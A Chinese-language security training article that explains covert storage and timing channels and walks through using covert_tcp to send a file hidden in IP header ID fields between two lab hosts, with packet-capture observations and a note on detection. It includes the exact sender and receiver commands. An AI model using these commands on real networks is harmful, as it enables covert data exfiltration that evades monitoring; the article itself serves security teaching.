透過Covert TCP建立秘密通道
作者 唐任威 Vincent Tang
- 精誠資訊/恆逸教育訓練中心-資深講師
- 技術分類:資訊安全
有參加過 CISSP 或 SSCP 課程的同學應應該還記得 Covert Channel (秘密通道)。這是一種用於偷渡資料洩密的方法,藉由神不知鬼不覺的方式建立隱密的傳輸通道,偷偷洩漏資訊。Covert Channel 分為二種,一種是秘密儲存式通道 (Covert Storage Channel),這是一種將資料存放到特定位置,透過該位置洩漏資訊的方式。另一種是秘密時序式通道 (Covert Timing Channel),是一種利用時序洩漏資訊的方法。本文將會介紹如何以 TCP/IP 封包建立秘密通道。
1996 年 Craig H. Rowland 發表了 covert_tcp.c,這支程式可以利用 TCP/IP 封包標頭建立秘密通道,該程式預設以 IP 標頭中的 ID 欄位偷渡資料。
圖 1:Covert_TCP 程式碼
使用方式:
• 接收端:Covert_TCP 在接收端以伺服器模式運作,指令語法如下。
sudo ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -server -file out.txt
因為 covert_tcp 需要以特權模式執行,所以用 sudo 指令執行 covert_tcp。
圖 2:以伺服器模式執行 Covert_TCP
參數說明如下:
-dest 10.10.10.9:指定 IP 封包中,資料接收端的 IP 位址為 10.10.10.9
-source 10.10.10.13:指定 IP 封包中,資料發送端的 IP 位址為 10.10.10.13
-source_port 8888:指定 TCP 協定中,接收端的通訊埠號為 8888
-server:指定 covert_tcp 的運作模式為伺服器模式,用於接收資料
-file out.txt:將接收到的資料儲存於 out.txt 檔案中
Covert_TCP 最有趣的部分在於該程式是以監聽的方式接收資料,因此伺服器端在啟動後不會開啟任何 TCP/IP 的通訊埠。
圖 3:Covert_TCP 伺服器端之網路通訊埠接聽狀態
• 發送端指令語法如下
sudo ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -dest_port 8888 -file 0x90.txt
圖 4:發送端執行 Covert_TCP 開始發送資料
參數說明如下:
-dest 10.10.10.9:指定 IP 封包中,資料接收端的 IP 位址為 10.10.10.9
-source 10.10.10.13:指定 IP 封包中,資料發送端的 IP 位址為 10.10.10.13
-dest_port 8888:指定 TCP 協定中,接收端的通訊埠號為 8888
-file 0x90.txt:發送檔案 0x90.txt
Covert_TCP 執行後會立刻發送 0x90.txt 檔案,並且接收端也可以立刻看到所接收到的檔案內容。
圖 5:Covert_TCP 伺服器端接收資料
並且資料也成功的儲存在 out.txt 檔案中。
圖 6:接收資料儲存檔案內容
在傳送檔案的過程中,如果透過 Wireshark 側錄並觀察封包內容會發現,這些用於發送資料的封包僅有封包標頭而沒有任何選項與酬載。
圖 7:Covert_TCP 發送之封包僅有標頭,沒有選項與酬載
但倘若去檢視 IP 標頭中的 ID 欄位則會發現,檔案內容依序嵌入在該欄位中。
圖 8:檔案內容中的第一個字元「0」嵌入在 IP 標頭之 ID 欄位
圖 9:檔案內容中的第二個字元「x」嵌入在 IP 標頭之 ID 欄位
圖 10:檔案內容中的第三個字元「9」嵌入在 IP 標頭之 ID 欄位
圖 11:檔案內容中的第四個字元「0」嵌入在 IP 標頭之 ID 欄位。
圖 12:檔案內容中的最後一個字元「0a」也就是換行字元嵌入在 IP 標頭之 ID 欄位。
總結
Covert_TCP 是一個透過 TCP/IP 封包標頭傳送資料的工具。藉此工具,攻擊者可以建立 TCP/IP 秘密通道洩漏資訊。由於其發送的都不是正常的 TCP/IP 封包,因此可以透過適當的網路安全工具加以偵測此類異常封包的存在。
0 意見:
張貼留言